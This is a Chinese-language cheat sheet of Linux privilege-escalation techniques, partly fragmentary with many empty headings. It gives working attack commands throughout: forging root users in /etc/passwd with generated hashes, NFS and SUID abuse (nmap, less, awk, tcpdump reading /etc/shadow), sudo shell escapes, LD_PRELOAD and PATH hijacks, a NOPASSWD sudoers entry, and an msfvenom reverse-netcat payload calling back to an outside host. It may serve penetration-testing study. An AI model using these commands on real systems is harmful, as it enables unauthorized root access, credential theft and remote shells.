编辑-etc-passwd文件进行权限升级
- 使用cat打开/etc/passwd查看可用用户
cat /etc/passwd
可以看到可用用户
- 添加用户(查看用户信息)
==这里是正文==
前提:用户具有读/写/etc/passwd权限这里我用root尝试
- 手动修改etc/passwd文件
- /etc/group文件中对其进行处理
- 设置密码
由于我们在不使用adduser命令的情况下手动创建了一个新用户syst1m,因此在/etc/shadow文件中找不到任何有关信息。但是它在/etc/passwd文件中,此处*符号已被加密密码值替换。通过这种方式,我们可以创建自己的用户以进行权限提升。
- 无法执行passwd命令设置用户密码
1.Opensslopenssl passwd -1 -salt user3 pass1232.mkpasswdmkpasswd -m SHA-512 pass3.Pythonpython -c 'import crypt; print crypt.crypt("pass", "$6$salt")4.Perlperl -le 'print crypt("pass123", "abc")'5.PHPphp -r "print(crypt('aarti','123') . \"\n\");"修改*号处的密码即可
配置错误的NFS的Linux权限升级
核心文件(/etc/exports,/etc/hosts.allow和/etc/hosts.deny.要配置弱的NFS服务器,只查看/etc/export文件)
- 环境配置(安装nfs)
- 编辑/etc/export
etc/export文件
- 扫描NFS共享
1.NMAP
nmap -sV --script=nfs-showmount 192.168.1.1
2.showmount
- 利用NFS服务器进行提权技巧
1.bash文件
2.C程序(来源互联网)
3.Nano/Vi(来源互联网)
4.Sudoers文件nano -p /etc/sudoersignite ALL=(ALL:ALL) NOPASSWD: ALL
通过自动脚本快速识别Windows系统上潜在的权限提升选项
- LinuEnum
git clone https://github.com/rebootuser/LinEnum.git
- Linuxprivchecker(枚举系统配置并运行一些权限提升检查)
wget http://www.securitysift.com/download/linuxprivchecker.py
- Linux Exploit Suggester 2(返回可能的漏洞利用列表)
- Bashark
- BeRoot
git clone https://github.com/AlessandroZ/BeRoot.git
用于检查常见的错误配置,以找到提升权限的方法检查文件权限SUID binNFS root压缩DockerSudo规则内核利用
./beroot.py
Cron计划任务Linux权限技巧
- 环境
- 利用
- Crontab Tar通配符注射
https://xz.aliyun.com/t/2401
使用SUID二进制文件进行Linux提权
使用 "cp"进行提权
- 第一种方法(复制passwd)
1.寻找具有SUID的文件
- 复制passwd
3.下载修改并让目标下载替换
- 第二种方法(传输后门)
生成反向连接(利用计划任务bash)msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 R
使用Find命令进行提权
- 环境
使用vim进行提权
- 环境
- 利用
==sudoers文件==
Other
nano修改passwd
运行suid脚本
老版本的nmap(2.02-5.21)
nmap --interactive
lsh
whoami
msf exploit/unix/local/setuid_nmap
bash
nash -p
id
less
less /etc/passwd
!/bin/sh
more
more /home/pelle/myfile
!/bin/bash
AWk `awk 'BEGIN {system("/bin/bash")}`
man
man passwd
!/bin/bash
man
tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
使用sudo进行Linux提权
/etc/sudoers文件(sudo权限的配置文件)
- 检查用户sudo权限
sudo -l
- 传统分配root权限方法
visudoraaz ALL=(ALL:ALL) ALL/raaz ALL=(ALL)ALLsudo suid
- 分配root权限默认方法
visudoraaz ALL=ALL/raaz ALL=(root) ALLsudo su / sudo bash
技巧
- 允许二进制命令的root权限
raaz ALL=(root) NOPASSWD: /usr/bin/findsudo find /home -exec /bin/bash \;id
- 允许二进制程序的root权限
raaz ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi
perlsudo perl -e 'exec "/bin/bash";'pythonsudo python -c 'import pty;pty.spawn("/bin/bash")lesssudo less /etc/hosts编辑器中输入!bash,按enter生成awksudo awk 'BEGIN {system("/bin/bash")}'mansudo man man编辑器中输入!bash,按enter生成visudo vi编辑器中输入!bash,按enter生成
- 允许shell脚本的root权限
sudo /bin/script/asroot.pyid
- 允许其他程序的sudo权限
raaz ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat
环境生成shell
sudo env /bin/bashftpsudo ftp! /bin/bashwhoami
通过SCP生成shellscp SourceFile user@host:~/目录路径
## 使用LD_Preload提权
- 打开/etc/sudoersvisudotest ALL=(ALL:ALL) NOPASSWD: /usr/bin/findDefaults env_keep = LD_PRELOAD
- 利用
- 新建shell.c
- 使用gcc编译
- 执行
## 使用通配符提权
* 星号匹配文件名中的任意数量的字符,包括无? 问号匹配任何单个字符[] 括号内包含一组字符,其中任何一个字符都可以匹配该位置的单个字符- []中使用的连字符表示字符范围〜 字符开头的~扩展为主目录的名称。将另一个用户的登录名附加到该字符中,它指的是该用户的主目录
在野通配符
文件劫持示例
1.文件所有者通过Chown劫持
- 普通用户
- root用户
## 使用PATH变量进行提权
查看相关用户路径echo $PATH
PATH变量提权方法一
- demo.c
- 权限提升
查看程序
1.echo生成root权限
复制命令
symlink命令
,